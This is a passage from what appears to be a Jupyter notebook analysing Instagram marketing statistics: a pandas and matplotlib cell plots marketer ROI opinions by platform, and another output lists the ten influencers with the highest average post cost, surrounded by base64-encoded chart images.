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\n", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import pandas as pd\n", + "import matplotlib.pyplot as plt\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Instagram DataAnalysis\\ Marketing Statistics\\MS2.csv\", header=0, sep=\",\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "c = ['orange', 'g', 'b', 'k', 'r']\n", + "\n", + "plt.title(\"Marketers who believe Instagram offers best influencer marketing ROI vs other platforms\")\n", + "plt.xlabel(\"Percentage\")\n", + "plt.ylabel(\"Platform\")\n", + "plt.scatter(x, y, color=c)\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Most-expensive influencers by average post cost" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + " Influencer Average_post_cost(USD thousands)\n", + "0 Dwayne Johnson 1015\n", + "1 Kylie Jenner 986\n", + "2 Cristiano Ronaldo 889\n", + "3 Kim Kardashian 858\n", + "4 Ariana Grande 853\n", + "5 Selena Gomez 848\n", + "6 Beyoncé Knowles 770\n", + "7 Justin Bieber 747\n", + "8 Taylor Swift 722\n", + "9 Neymar Jr 704\n" + ] + }, + { + "data": { + "image/png": "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